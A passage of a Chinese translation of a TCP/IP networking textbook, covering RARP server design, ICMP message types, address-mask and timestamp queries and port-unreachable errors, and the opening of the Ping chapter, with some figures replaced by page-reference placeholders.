我们从这个例子可以看出，当无盘系统从RARP回答中收到它的IP地址后，它将发送TFTP请求来读取引导映象。在这一点上我们将不再进一步详细讨论无盘系统是如何引导的。（第16章将描述无盘X终端利用RARP，BOOTP以及TFTP进行引导的过程。）
当网络上没有RARP服务器时，其结果如图5.2所示。每个分组的目的地址都是以太网广播地址。在who-后面的以太网地址是目的硬件地址，跟在tell后面的以太网地址是发送端的硬件地址。
请注意重发的频度。第一次重发是在6.55秒以后，然后增加到42.80秒，然后又减到5.34秒和6.55秒，然后又回到42.79秒。这种不确定的情况一直继续下去。如果计算一下两次重发之间的时间间隔，我们发现存在一种双倍的关系：从5.34到6.55是1.21秒，从 6.55到8.97是2.42秒，从8.97到13.80是4.83秒，一直这样继续下去。当时间间隔达到某个阈值时（大于42.80秒），它又重新置为5.34秒。

图5.2 网络中没有RARP服务器的RARP请求

超时间隔采用这样的递增方法比每次都采用相同值的方法要好。在图6.8中，我们将看到一种错误的超时重发方法，以及在第21章中将看到TCP的超时重发机制。

5.4 RARP服务器的设计
虽然RARP在概念上很简单，但是设计一个RARP服务器与系统相关而且比较复杂。相反，提供一个ARP服务器很简单，通常是TCP/IP在内核中实现的一部分。由于内核知道IP地址和硬件地址，因此当它收到一个询问IP地址的ARP请求时，只需用相应的硬件地址来提供回答就可以了。

作为用户进程的RARP服务器
RARP服务器的复杂性在于，服务器一般要为多个主机（网络上所有的无盘系统）提供硬件地址到IP地址的映射。该映射包含在一个磁盘文件中（在Unix系统中一般位于/etc/ethers目录中）。由于内核一般不读取和分析磁盘文件，因此RARP服务器的功能就由用户进程来提供，而不是作为内核的TCP/IP实现的一部分。
更为复杂的是，RARP请求是作为一个特殊类型的以太网数据帧来传送的（帧类型字段值为0x8035，如图2.1所示）。这说明RARP服务器必须能够发送和接收这种类型的以太网数据帧。在附录A中，我们描述了BSD分组过滤器，Sun的网络接口栓，以及SVR4数据链路提供者接口都可用来接收这些数据帧。由于发送和接收这些数据帧与系统有关，因此RARP服务器的实现与系统是捆绑在一起的。

每个网络有多个RARP服务器
RARP服务器实现的一个复杂因素是RARP请求是在硬件层上进行广播的，如图5.2所示。这意味着它们不经过路由器进行转发。为了让无盘系统在RARP服务器关机的状态下也能引导，通常在一个网络上（例如一根电缆）要提供多个RARP服务器。
当服务器的数目增加时（以提供冗余备份），网络流量也随之增加，因为每个服务器对每个RARP请求都要发送RARP回答。发送RARP请求的无盘系统一般采用最先收到的RARP回答。（对于ARP我们从来没有遇到这种情况，因为只有一台主机发送ARP回答。）另外，还有一种可能发生的情况是每个RARP服务器同时回答，这样会增加以太网发生冲突的概率。

5.5 小结
RARP协议是许多无盘系统在引导时用来获取IP地址。RARP分组格式基本上与ARP分组一致。一个RARP请求在网络上进行广播，它在分组中标明发送端的硬件地址，以请求相应IP地址的响应。回答通常是单播传送的。
RARP带来的问题包括使用链路层广播，这样就阻止大多数路由器转发RARP请求，只返回很少信息：只是系统的IP地址。在第16章中，我们将看到BOOTP在无盘系统引导时会返回更多的信息：IP地址，引导主机的名字等等。
虽然RARP在概念上很简单，但是RARP服务器的实现却与系统相关。因此，并不是所有的TCP/IP实现都提供RARP服务器。

习题
5.1 RARP需要不同的帧类型字段吗？ARP和RARP都使用相同的值0x0806吗？
5.2 在一个有多个RARP服务器的网络上，如何防止它们的响应发生冲突？
5－3
6 ICMP：Internet控制报文协议

6.1 引言
ICMP经常被认为是IP层的一个组成部分。它传递差错信息以及其它需要注意的信息。ICMP报文通常被IP层或更高层协议（TCP或UDP）使用。一些ICMP报文把差错信息返回给用户进程。
ICMP信息是在IP数据报内部被传输的，如6.1所示。

图6.1 ICMP封装在IP数据报内部

ICMP 的正式规范参见RFC 792 [Posterl 1981b]。
ICMP报文的格式如图6.2所示。所有报文的前4个字节都是一样的，但是剩下的其它字节则互不相同。下面我们将逐个介绍各种报文格式。
类型字段可以有15个不同的值，以描述特定类型的ICMP报文。某些ICMP报文还使用代码字段的值来进一步描述不同的条件。
检验和字段覆盖整个ICMP报文。使用的算法与我们在3.2节中介绍的IP首部检验和算法相同。ICMP的检验和是必需的。

图6.2 ICMP报文

在本章中，我们将粗浅地讨论ICMP报文，并对其中一部分作详细介绍：地址掩码请求和回答，时间戳请求和回答，以及不可答端口。我们将详细介绍第27章Ping程序所使用的回应请求和回答报文和第9章处理IP路由的ICMP报文。

6.2 ICMP报文的类型
各种类型的ICMP报文如图6.3所示，不同类型由报文中的类型字段和代码字段来共同决定。
图中的最后两列表明ICMP报文是一份查询报文还是一份差错报文。因为对ICMP差错报文有时需要作特殊处理，因此我们需要对它们进行区分。例如，在对ICMP差错报文进行响应时，永远不会生成另一份ICMP差错报文。（如果没有这个限制规则，我们可能会遇到一个差错产生另一个差错的情况，而差错再产生差错，这样无休止地循环下去。）
当发送一份ICMP差错报文时，报文始终包含IP的首部和产生ICMP差错报文的IP数据报的前8个字节。这样，接收ICMP差错报文的模块就会把它与某个特定的协议（根据IP数据报首部中的协议字段来判断）和用户进程（根据包含在IP数据报前8个字节中的TCP或UDP报文首部中的TCP或UDP端口号来判断）联系起来。在6.5节我们将举例来说明一点。
下面各种情况都不会导致产生ICMP差错报文：
1．ICMP差错报文。（但是，ICMP查询报文可能会产生ICMP差错报文。）
2．目的地址是广播地址（图3.9）或多播地址（D类地址，图1.5）的IP数据报。
3．作为链路层广播的数据报。
4．不是IP分片的第一片。（我们将在11.5节介绍分片。）
5．源地址不是单个主机的数据报。这就是说，源地址不能为零地址、环回地址、广播地址或多播地址。

（下面是图6.3的译文）
类型
代码
描述
查询
差错
0
0
回答回显（Ping回答，第7章）
&#8226;

3

目的不可到达：

0
网络不可到达（9.3节）

&#8226;

1
主机不可到达（9.3节）

&#8226;

2
协议不可到达

&#8226;

3
端口不可到达（6.5节）

&#8226;

4
需要进行分片但设置了不分片比特（11.6节）

&#8226;

5
源站路由选择失败（8.5节）

&#8226;

6
目的网络不认识

&#8226;

7
目的主机不认识

&#8226;

8
源主机被隔离（作废不用）

&#8226;

9
目的网络被强制禁止

&#8226;

10
目的主机被强制禁止

&#8226;

11
由于服务类型TOS网络不可到达（9.3节）

&#8226;

12
由于服务类型TOS主机不可到达（9.3节）

&#8226;

13
由于过滤通信被强制禁止

&#8226;

14
主机越权

&#8226;

15
优先权中止生效

&#8226;
4
0
源端被关闭（基本流控制，11.11节）

&#8226;
5

改变路由（9.5节）：

&#8226;

0
对网络改变路由

&#8226;

1
对主机改变路由

&#8226;

2
对服务类型和网络改变路由

&#8226;

3
对服务类型和主机改变路由

&#8226;
8
0
请求回显（Ping请求，第7章）
&#8226;

9
0
路由器通告（9.6节）
&#8226;

10
0
路由器请求（9.6节）
&#8226;

11

超时：

0
传输期间生存时间为0（Traceroute, 第8章）

&#8226;

1
在数据报组装期间生存时间为0（11.5节）

&#8226;
12

参数问题：

0
坏的IP首部（包括各种差错）

&#8226;

1
缺少必需的选项

&#8226;
13
0
时间戳请求（6.4节）
&#8226;

14
0
时间戳回答（6.4节）
&#8226;

15
0
信息回答（作废不用）
&#8226;

16
0
信息回答（作废不用）
&#8226;

17
0
地址掩码请求（6.3节）
&#8226;

18
0
地址掩码回答（6.3节）
&#8226;

图6.3 ICMP报文类型

这些规则是为了防止过去允许ICMP差错报文对广播分组响应所带来的广播风暴。

6.3 ICMP地址掩码请求与回答
ICMP地址掩码请求用于无盘系统在引导过程中获取自己的子网掩码（3.5节）。系统广播它的ICMP请求报文。（这一过程与无盘系统在引导过程中用RARP获取IP地址是类似的。）无盘系统获取子网掩码的另一个方法是BOOTP协议，我们将在第16章中介绍。ICMP地址掩码请求和回答报文的格式如图6.4所示。

图6.4 ICMP地址掩码请求和回答报文

ICMP报文中的标识符和序列号字段由发送端任意选择设定，这些值在回答中将被返回。这样，发送端就可以把回答与请求进行匹配。
我们可以写一个简单的程序（取名为icmpaddrmask），它发送一份ICMP地址掩码请求报文，然后打印出所有的回答。由于一般是把请求报文发往广播地址，因此这里我们也这样做。目的地址（140.252.13.63）是子网140.252.13.32的广播地址（图3.12）。

sun % icmpaddrmask 140.252.13.33
received mask = ffffffe0, from 140.252.13.33 来自本机
received mask = ffffffe0, from 140.252.13.35 来自bsdi
received mask = ffff0000, from 140.252.13.34 来自svr4

在输出中我们首先注意到的是，从svr4返回的子网掩码是差错的。显然，尽管svr4接口已经设置了正确的子网掩码，但是SVR4还是返回了一个普通的B类地址掩码，就好像子网并不存在一样。

svr4 % ifconfig emd0
emd0: flags=23
inet 140.252.13.34 netmask ffffffe0 broadcast 140.252.13.63

SVR4处理ICMP地址掩码请求过程存在差错。
我们用tcpdump命令来查看主机bsdi上的情况，输出如图6.5所示。我们用-e参数来查看硬件地址。

图6.5 发到广播地址的ICMP地址掩码请求

注意，尽管在线路上什么也看不见，但是发送主机sun也能接收到ICMP回答（带有from ourself的输出行）。这是广播的一般特性：发送主机也能通过某种内部环回机制收到一份广播报文拷贝。由于术语“广播”的定义是指局域网上的所有主机，因此它必须包括发送主机在内。（参见图2.4，当以太网驱动程序识别出目的地址是广播地址后，它就把分组送到网络上，同时传一份拷贝到环回接口。）
接下来，bsdi广播回答，而svr4却只把回答传给请求主机。通常，回答地址必须是单播地址，除非请求端的源IP地址是0.0.0.0，本例不属于这种情况。因此，把回答发送到广播地址是BSD/386的一个内部差错。

（下面是原书p.73①的译文）
RFC规定，除非系统是地址掩码的授权代理，否则它不能发送地址掩码回答。（为了成为授权代理，它必须进行特殊配置，以发送这些回答。参见附录E。）但是，正如我们从本例中看到的那样，大多数主机在收到请求时都发送一个回答，甚至有一些主机还发送差错的回答。

最后一点可以通过下面的例子来说明。我们向本机IP地址和环回地址分别发送地址掩码请求：

sun % icmpaddrmask sun
received mask= ff000000, from 140.252.13.33

sun % icmpaddrmask localhost
received mask= ff000000, from 127.0.0.1

上述两种情况下返回的地址掩码对应的都是环回地址，即A类地址127.0.0.1。还有，我们从图2.4可以看到，发送给本机IP地址的数据报（140.252.12.33）实际上是送到环回接口。ICMP地址掩码回答必须是收到请求接口的子网掩码（这是因为多接口主机每个接口有不同的子网掩码），因此两种情况下地址掩码接求都来自于环回接口。

6.4 ICMP时间戳请求与回答
ICMP时间戳请求允许系统向另一个系统查询当前的时间。返回的建议值是自午夜开始计算的毫秒数，协调的统一时间（Coordinated Universal Time, UTC）。(早期的参考手册认为UTC是格林尼治时间。)这种ICMP报文的好处是它提供了毫秒级的分辨率，而利用其它方法从别的主机获取的时间（如某些Unix系统提供的rdate命令）只能提供秒级的分辨率。由于返回的时间是从午夜开始计算的，因此调用者必须通过其它方法获知当时的日期，这是它的一个缺陷。
ICMP时间戳请求和回答报文格式如图6.6所示。

图6.6 ICMP时间戳请求和回答报文

请求端填写发起时间戳，然后发送报文。回答系统收到请求报文时填写接收时间戳，在发送回答时填写发送时间戳。但是，实际上，大多数的实现把后面两个字段都设成相同的值。（提供三个字段的原因是可以让发送方分别计算发送请求的时间和发送回答的时间。）

例子
我们可以写一个简单程序（取名为icmptime），给某个主机发送ICMP时间戳请求，并打印出返回的回答。它在我们的小互连网上运行结果如下：

（见原书p.74的①）

程序打印出ICMP报文中的三个时间戳：发起时间戳（orig），接收时间戳（recv），以及发送时间戳（xmit）。正如我们在这个例子以及下面的例子中所看到的那样，所有的主机把接收时间戳和发送时间戳都设成相同的值。
我们还能计算出往返时间（rtt），它的值是收到回答时的时间值减去发送请求时的时间值。difference的值是接收时间戳值减去发起时间戳值。这些值之间的关系如图6 7所示。
如果我们相信RTT的值，并且相信RTT的一半用于请求报文的传输，另一半用于回答报文的传输，那么为了使本机时钟与查询主机的时钟一致，本机时钟需要进行调整，调整值是difference减去RTT的一半。在前面的例子中，bsdi的时钟比sun的时钟要慢7 ms和8 ms。
由于时间戳的值是自午夜开始计算的毫秒数，即UTC，因此它们的值始终小于86,400,000 (24×60×60×1000)。这些例子都是在下午4:00以前运行的，并且在一个比UTC慢7个小时的时区，因此它们的值比82,800,000（2300小时）要大是有道理的。
如果我们对主机bsdi重复运行该程序数次，我们发现接收时间戳和发送时间戳的最后一位数总是0。这是因为该版本的软件（0.9.4版）只能提供10毫秒的时间分辨率。（说明参见附录B。）
如果我们对主机svr4运行该程序两次，我们发现SVR4时间戳的最后三位数始终为0：

（见原书p.75的①）

由于某种原因，SVR4在ICMP时间戳中不提供毫秒级的分辨率。这样，对秒以下的时间差调整将不起任何作用。
如果我们对子网140.252.1上的其它主机运行该程序，结果表明其中一台主机的时钟与sun相差3.7秒，而另一个主机时钟相差近75秒：

（见原书p.75的②）

另一个令人感兴趣的例子是路由器gateway（一个Cisco路由器）。这表明，当系统返回一个非标准时间戳值时（不是自午夜开始计算的毫秒数，UTC），它就用32 bit时间戳中的高位来表示。我们的程序证明了一点，在尖括号中打印出了接收和发送的时间戳值（在关闭高位之后）。另外，我们不能计算发起时间戳和接收时间戳之间的时间差，因为它们的单位不一致。

（见原书p.76的①）

如果我们在这台主机上运行该程序数次，会发现时间戳值显然具有毫秒级的分辨率，而且是从某个起始点开始计算的毫秒数，但是起始点并不是午夜UTC。（例如，可能是从路由器引导时开始计数的毫秒数。）
作为最后一个例子，我们来比较sun主机和另一个已知是准确的系统时钟----一个NTP stratum 1服务器。（下面我们会更多地讨论NTP，网络时间协议。）

（见原书p.76的②）

如果我们把difference的值减去RTT的一半，结果表明sun主机上的时钟要快38.5到51.5 ms。

另一种方法
还可以用另一种方法来获得时间和日期。
1. 我们在1.12节中描述了日期时间服务程序和时间服务程序。前者是以人们可读的格式返回当前的时间和日期，是一行ASCII字符。我们可以用telnet命令来验证这个服务：

（见原书p.76的③）

另一方面，时间服务程序返回的是一个32 bit的二制进数值，表示自UTC，1900年1月1日午夜起算的秒数。这个程序是以秒为单位提供的日期和时间。（前面我们提过的rdate命令使用的是TCP时间服务程序。）
2. 严格的计时器使用网络时间协议（NTP），该协议在RFC 1305中给出了描述[Mills 1992]。这个协议采用先进的技术来保证LAN或WAN上的一组系统的时钟误差在毫秒级以内。对计算机精确时间感兴趣的读者应该阅读这份RFC文档。
3. 开放软件基金会（OSF）的分布式计算环境（DCE）定义了分布式时间服务（DTS），它也提供计算机之间的时钟同步。文献[Rosenberg, Kenney and Fisher 1992]提供了该服务的其它细节描述。
4. 伯克利大学的Unix系统提供守护程序timed(8)，来同步局域网上的系统时钟。不像NTP和DTS，timed不在广域网范围内工作。

6.5 ICMP端口不可达差错
最后两小节我们来讨论ICMP查询报文----地址掩码和时间戳查询及回答。我们现在来分析一种ICMP差错报文，即端口不可到达报文，它是ICMP目的不可到达报文中的一种，以此来看一看ICMP差错报文中所附加的信息。我们使用UDP（见第11章）来查看它。
UDP的规则之一是，如果收到一份UDP数据报而目的端口与某个正在使用的进程不相符，那么UDP返回一个ICMP不可到达报文。我们可以用TFTP来强制生成一个端口不可到达报文。（TFTP将在第15章描述。）
对于TFTP服务器来说，UDP的公共端口号是69。但是大多数的TFTP客户程序允许我们用connect命令来指定一个不同的端口号。这里，我们就用为它指定为8888：

（见原书p.77的①）

connect命令首先指定要连接的主机名及其端口号，接着用get命令来取文件。敲入get命令后，一份UDP数据报就发送到主机svr4上的8888端口。tcpdump命令引起的报文交换结果如图6.8所示。
在UDP数据报送到svr4之前，要先发送一份ARP请求来确定它的硬件地址（第1行）。接着返回ARP回答（第2行），然后才发送UDP数据报（第3行）。（我们在tcpdump的输出中保留ARP请求和回答是为了提醒我们，这些报文交换可能在第一个IP数据报从一个主机发送到的另一个主机之前是必需的。在本书以后的章节中，如果这些报文与讨论的题目不相关，那么我们将省略它们。）

图6.8 由TFTP产生的ICMP端口不可到达差错

一个ICMP端口不可到达差错是立刻返回的（第4行）。但是，TFTP客户程序看上去似乎忽略了这个ICMP报文，而在5秒钟之后又发送了另一份UDP数据报（第5行）。在客户程序放弃之前重发了三次。
注意，ICMP报文是在主机之间交换的，而不用目的端口号，而每个20字节的UDP数据报则是从一个特定端口（2924）发送到另一个特定端口（8888）。
跟在每个UDP后面的数字20指的是UDP数据报中的数据长度。在这个例子中，20字节包括TFTP的2个字节的操作代码，9个字节以空字符结束的文件名temp.foo，以及9个字节以空字符结束的字符串netascii。（TFTP报文的详细格式参见图15.1。）
如果用-e参数运行同样的例子，我们可以看到每个返回的ICMP端口不可到达报文的完整长度。这里的长度为70字节，各字段分配如图6.9所示。

图6.9 “UDP端口不可到达”例子中返回的ICMP报文

ICMP的一个规则是，ICMP差错报文（参见图6.3的最后一列）必须包括生成该差错报文的数据报IP首部（包含任何选项），还必须至少包括跟在该IP首部后面的前8个字节。在我们的例子中，跟在IP首部后面的前8个字节包含UDP的首部（图11.2）。
一个重要的事实是包含在UDP首部中内容是源端口号和目的端口号。就是由于目的端口号（8888）才导致产生了ICMP端口不可到达的差错报文。接收ICMP的系统可以根据源端口号（2924）来把差错报文与某个特定的用户进程相关联（在本例中是TFTP客户程序）。
导致差错的数据报中的IP首部要被送回的原因是因为IP首部中包含了协议字段，使得ICMP可以知道如何解释后面的8个字节（在本例中是UDP首部）。如果我们来查看TCP首部（图17.2）,可以发现源端口和目的端口被包含在TCP首部的前8个字节中。
ICMP不可到达报文的一般格式如图6.10所示。

图6.10 ICMP不可到达报文

在图6.3中，我们注意到有16种不同类型的ICMP不可到达报文，代码分别从0到15。ICMP端口不可到达差错代码是3。另外，尽管图6.10指出了在ICMP报文中的第二个32 bit字必须为0，但是当代码为4时（“需要分片但设置了不分片比特”），路径MTU发现机制（2.9节）却允许路由器把外出接口的MTU填在这个32 bit字的低16 bit中。我们在11.6节中给出了一个这种差错的例子。

（下面是原书p.79①的译文）
尽管ICMP规则允许系统返回多于8个字节的产生差错的IP数据报中的数据，但是大多数从伯克利派生出来的系统只返回8个字节。Solaris 2.2的ip_icmp_return_data_bytes选项默认条件下返回前64个字节（E.4节）。

tcpdump时间系列
在本书的后面章节中，我们还要以时间系列的格式给出tcpdump命令的输出，如图6.11所示。

图6.11 发送到无效端口的TFTP请求的时间系列

时间随着向下而递增，在图左边的时间标记与tcpdump命令的输出是相同的（图6.8）.位于图顶部的标记是通信双方的主机名和端口号。需要指出的是，随着页面向下的y坐标轴与真正的时间值不是成比例的。当出现一个有意义的时间段时，在本例中是每５秒之间的重发，我们就在时间系列的两侧作上标记。当UDP或TCP数据正在被传送时，我们用粗线的行来表示。
当ICMP报文返回时，为什么TFTP客户程序还要继续重发请求呢？这是由于网络编程中的一个因素，即BSD系统不把从插口(socket)接收到的ICMP报文中的UDP数据通知用户进程，除非该进程已经发送了一个connect命令给该插口。标准的BSD TFTP客户程序并不发送connect命令，因此它永远也不会收到ICMP差错报文的通知。
这里需要注意的另一点是TFTP客户程序所采用的不太好的超时重发算法。它只是假定5秒是足够的，因此每隔5少就重传一次，总共需要25秒钟的时间。在后面我们将看到TCP有一个较好的超时重发算法。

（下面是原书p.81的①的译文）
TFTP客户程序所采用的超时重传算法已被RFC所禁用。不过，在作者所在子网上的三个系统以及Solaris 2.2仍然在使用它。AIX 3.2.2采用一种指数退避方法来设置超时值，分别在0，5，15和35秒时重发报文，这正是所推荐的方法。我们将在第21章更详细地讨论超时问题。
最后需要指出的是，ICMP报文是在发送UDP数据报3.5 ms后返回的，这与第7章我们所看到的Ping回答的往返时间差不多。

TCP/IP详解（三）
6.6 ICMP报文的4.4BSD处理
由于ICMP覆盖的范围很广泛，从致命差错到信息差错，因此即使在一个给定的系统实现中，对每个ICMP报文的处理都是不相同的。图6.12的内容与图6.3相同，它显示的是4.4BSD系统对每个可能的ICMP报文的处理方法。
如果最后一列标明是“内核”，那么ICMP就由内核来处理。如果最后一列指明是“用户进程”，那么报文就被传送到所有在内核中登记的用户进程，以读取收到的ICMP报文。如果不存在任何这样的用户进程，那么报文就悄悄地被丢弃。（这些用户进程还会收到所有其他类型的ICMP报文的拷贝，虽然它们应该由内核来处理，当然用户进程只有在内核处理以后才能收到这些报文。）有一些报文完全被忽略。最后，如果最后一列标明的是引号内的一串字符，那么它就是对应的Unix差错。其中一些差错，如TCP对发送端关闭的处理等，我们将在以后的章节中对它们进行讨论。

（下面是图6.12的译文）
类型
代码
描述
处理方法
0
0
回显回答
用户进程
3

目的不可到达：

0
网络不可到达
“无路由到达主机”

1
主机不可到达
“无路由到达主机”

2
协议不可到达
“连接被拒绝”

3
端口不可到达
“连接被拒绝”

4
需要进行分片但设置了不分片比特DF
“报文太长”

5
源站路由选择失败
“无路由到达主机”

6
目的网络不认识
“无路由到达主机”

7
目的主机不认识
“无路由到达主机”

8
源主机被隔离（作废不用）
“无路由到达主机”

9
目的网络被强制禁止
“无路由到达主机”

10
目的主机被强制禁止
“无路由到达主机”

11
由于服务类型TOS网络不可到达
“无路由到达主机”

12
由于服务类型TOS主机不可到达
“无路由到达主机”

13
由于过滤通信被强制禁止
（忽略）

14
主机越权
（忽略）

15
优先权中止生效
（忽略）
4
0
源站被抑制(quench)
TCP由内核处理，UDP则忽略
5

改变路由

0
对网络改变路由
内核更新路由表

1
对主机改变路由
内核更新路由表

2
对服务类型和网络改变路由
内核更新路由表

3
对服务类型和主机改变路由
内核更新路由表
8
0
回显请求

9
0
路由器通告
用户进程
10
0
路由器请求
用户进程
11

超时：

0
传输期间生存时间为0
用户进程

1
在数据报组装期间生存时间为0
用户进程
12

参数问题：

0
坏的IP首部（包括各种差错）
“协议不可用”

1
缺少必需的选项
“协议不可用”
13
0
时间戳请求
内核产生回答
14
0
时间戳回答
用户进程
15
0
信息请求（作废不用）
（忽略）
16
0
信息回答（作废不用）
用户进程
17
0
地址掩码请求
内核产生回答
18
0
地址掩码回答
用户进程
图6.12 4.4BSD系统对ICMP报文的处理

6.7 小结
本章对每个系统都必须包括的Internet控制报文协议进行了讨论。图6.3列出了所有的ICMP报文类型，其中大多数我们都将在以后的章节中加以讨论。
我们详细讨论了ICMP地址掩码请求和回答以及时间戳请求和回答。这些是典型的请求-回答报文。二者在ICMP报文中都标识符和序号。发送端应用程序在标识字段内存入一个唯一的数值，以区别于其它进程的回答。序号字段使得客户程序可以在回答和请求之间进行匹配。
我们还讨论了ICMP端口不可到达差错，一种常见的ICMP差错。我们对返回的ICMP差错信息进行了分析：导致差错的IP数据报的首部及后序8个字节。这个信息对于ICMP差错的接收方来说是必要的，可以更多地了解导致差错的原因。这是因为TCP和UDP都在它们的首部前8个字节中存入源端口号和目的端口号。
最后，我们第一次给出了按时间先后的tcpdump输出，这种表现方式的输出在本书后面的章节中会经常用到。

习题
6.1 在6.2节的末尾我们列出了5种不发送ICMP差错报文的特殊条件。如果这些条件不满足而我们又在局域网上向一个似乎不存在的端口号发送一份广播UDP数据报，这时会发生什么样的情况？
6.2 阅读RFC [Braden 1989a]，注意生成一个ICMP端口不可到达差错是否为“必须”，“应该”或者“可能”。这些信息所在的页码和章节是多少？
6.3 阅读RFC 1349 [Almquist 1992]，看看IP的服务类型字段（图3.2）是如何被ICMP设置的？
6.4 如果你的系统提供netstat命令，请用它来查看接收和发送的ICMP报文类型。

6－9
7 Ping程序

7.1 引言
“ping”这个名字来自于声纳定位操作。Ping程序由Mike Muuss编写，目的是为了测试另一台主机是否可达。该程序发送一份ICMP回显请求报文给主机，并等待返回ICMP回显回答。（图6.3列出了所有的ICMP报文类型。）
一般来说，如果你不能Ping到某台主机，那么你就不能Telnet或者FTP到那台主机。反过来，如果你不能Telnet到某台主机，那么通常可以用Ping程序来确定问题出在哪里。Ping程序还能测出到这台主机的往返时间，以表明该主机离我们有“多远”。
在本章中，我们将使用Ping程序作为诊断工具来深入剖析ICMP。Ping还给我们提供了检测IP记录路由和时间戳选项的机会。文献[Stevens 1990]的第11章提供了Ping程序的源代码。

（下面是原书p.85①的译文）
几年前我们还可以作出这样没有限定的断言，如果我们不能Ping到某台主机，那么就不能Telnet或FTP那台主机。随着Internet安全意识的增强，出现了提供访问控制清单的路由器和防火墙，那么像这样没有限定的断言不再成立了。一台主机的可达性可能不只取决于IP层是否可达，还取决于使用何种协议以及端口号。Ping程序的运行结果可能显示某台主机不可达，但我们可以用Telnet远程登录到该台主机的25号端口（邮件服务器）。

7.2 Ping程序
我们称发送回显请求的ping程序为客户，而称被ping的主机为服务器。大多数的TCP/IP实现都在内核中直接支持Ping服务器——这种服务器不是一个用户进程。（我们在第6章中描述的两种ICMP查询服务，地址掩码和时间戳请求，也都是直接在内核中进行处理的。）
ICMP回显请求和回显回答报文如图7.1所示。

图7.1 ICMP回显请求和回显回答报文格式

对于其他类型的ICMP查询报文，服务器必须响应标识符和序号字段。另外，客户发送的选项数据必须回显，假设客户对这些信息都会感兴趣。
Unix系统在实现ping程序时是把ICMP报文中的标识符字段置成发送进程的ID号。这样即使在同一台主机上同时运行了多个ping程序实例，ping程序也可以识别出返回的信息。
序号从0开始，每发送一次新的回显请求就加1。ping程序打印出返回的每个分组的序号，允许我们查看是否有分组丢失，失序或重复。IP是一种最好的数据报传递服务，因此这三个条件都有可能发生。
旧版本的ping程序曾经以这种模式运行，即每秒发送一个回显请求，并打印出返回的每个回显回答。但是，新版本的实现需要加上-s参数才能以这种模式运行。默认情况下，新版本的ping程序只发送一个回显请求，如果收到回显回答则输出“host is alive”，否则在20秒内没有收到回答就输出“no answer”（没有回答）。

LAN输出
在局域网LAN上运行ping程序的结果输出一般有如下格式：

（见原书p.86的①）

当返回ICMP回显回答时，要打印出序号和TTL，并计算往返时间。（TTL位于IP首部中的生存时间字段。当前的BSD系统中的ping程序每次收到回显回答时都打印出收到的TTL----有些系统并不这样做。我们将在第8章中通过traceroute程序来介绍TTL的用法。）
我们从上面的输出中可以看出，回显回答是以发送的次序返回的（0，1，2等等）。
ping程序通过在ICMP报文数据中存放发送请求的时间值来计算往返时间。当回答返回时，用当前时间减去存放在ICMP报文中的时间值，即是往返时间。注意，在发送端bsdi上，往返时间的计算结果都为0 ms。这是因为程序使用的计时器分辨率低的原因。BSD/386版本0.9.4系统只能提供10 ms级的计时器。（我们在附录B中有更详细的介绍。）在后面的章节中，当我们在具有较高分辨率计时器的系统上（Sun）查看tcpdump输出时会发现，ICMP回显请求和回显回答的时间差在4 ms以下。
输出的第一行包括目的主机的IP地址，尽管我们指定的是它的名字（svr4）。这说明名字已经经过解析器被转换成IP地址了。我们将在第14章介绍解析器和DNS。现在，我们发现，如果敲入ping命令，几秒钟过后会在第一行打印出IP地址，DNS就是利用这段时间来确定主机名所对应的IP地址。
本例中的tcpdump输出如图7.2所示。

图7.2 在LAN上运行ping程序的结果

从发送回显请求到收到回显回答，时间间隔始终为3.7 ms。我们还可以看到，回显请求大约每隔1秒钟发送一次。
通常，第一个往返时间值要比其他的大。这是由于目的端的硬件地址不在ARP高速缓存中的缘故。正如我们在第4章中看到的那样，在发送第一个回显请求之前要发送一个ARP请求并接收ARP回答，这需要花费几毫秒的时间。下面的例子说明了这一点：

（见原书p.88的①）

第一个RTT中多的3 ms很可能就是因为发送ARP请求和接收ARP回答所花费的时间。
这个例子运行在sun主机上，它提供的是具有微秒级分辨率的计时器，但是ping程序只能打印出毫秒级的往返时间。在前面运行于BSD/386 0.9.4版上的例子中，打印出来的往返时间值为0 ms，这是因为计时器只能提供10 ms的误差。下面的例子是BSD/386 1.0版的输出，它提供的计时器也具有微秒级的分辨率，因此ping程序的输出结果也具有较高的分辨率。

（见原书p.88的②）

WAN输出
在一个广域网WAN上，结果会有很大的不同。下面的例子是在某个工作日的下午即Internet具有正常通信量时的运行结果：

（见原书p.88的③）

这里，序号为1，2，3，4，6，10，11，12和13的回显请求或回显回答在某个地方丢失了。另外，我们注意到往返时间发生了很大的变化。（像52%这样高的分组丢失率是不正常的。即使是在工作日的下午，对于Internet来说也是不正常的，。）
通过广域网还有可能看到重复的分组（即相同序号的分组被打印两次或更多次），失序的分组（序号为N + 1的分组在序号为N的分组之前被打印。）

线路SLIP链接
让我们再来看看SLIP链路上的往返时间，因为它们经常运行于低速的异步方式，如9600 b/s或更低。回想我们在2.10节计算的串行线路吞吐量。针对这个例子，我们把主机bsdi和slip之间的SLIP链路传输速率设置为1200 b/s。
下面我们可以来估计往返时间。首先，我们从前面的Ping程序输出例子中可以注意到，默认情况下发送的ICMP报文有56个字节。再加上20个字节的IP首部和8个字节的ICMP首部，IP数据报的总长度为84字节。（我们可以运行tcpdump -e命令查看以太网数据帧来验证这一点。）另外，从2.4节我们可以知道，至少要增加两个额外的字节：在数据报的开始和结尾加上END字符。此外，SLIP帧还有可能再增加一些字节，但这取决于数据报中每个字节的值。对于1200 b/s这个速率来说，由于每个字节含有8 bit数据，1 bit起始位和1 bit结束位，因此传输速率是每秒120个字节，或者说每个字节8.33 ms。所以我们可以估计需要1433（86×8.33×2） ms 。（乘2是因为我们计算的是往返时间。）
下面的输出证实了我们的计算：

（见原书p.89的①）

（对于SVR4来说，如果每秒钟发送一次请求则必须带-s参数。）往返时间大约是1.5秒，但是程序仍然每间隔1秒钟发送一次ICMP回显请求。这说明在第一个回显回答返回之前（1.480秒时刻）就已经发送了两次回显请求（分别在0秒和1秒时刻）。这就是为什么总结行指出丢失了一个分组。实际上分组并未丢失，很可能仍然在返回的途中。
我们在第8章讨论traceroute程序时将回头再讨论这种低速的SLIP链路。

拔号SLIP链路
对于拔号SLIP链路来说，情况有些变化，因为在链路的两端增加了调制解调器。用在sun和netb系统之间的调制解调器提供的是V.32调制方式（9600 b/s），V.42错误控制方式（也称作LAP-M），以及V.42bis数据压缩方式。这表明我们针对线路链路参数进行的简单计算不再准确了。
很多因素都有可能影响。调制解调器带来了时延。随着数据的压缩，分组长度可能会减小，但是由于使用了错误控制协议，分组长度又可能会增加。另外，接收端的调制解调器只能在验证了循环检验字符（检验和）后才能释放收到的数据。最后，我们还要处理每一端的计算机异步串行接口，许多操作系统只能在固定的时间间隔内，或者收到若干字符后者才去读这些接口。
作为一个例子，我们在sun主机上ping主机gemini，输出结果如下：

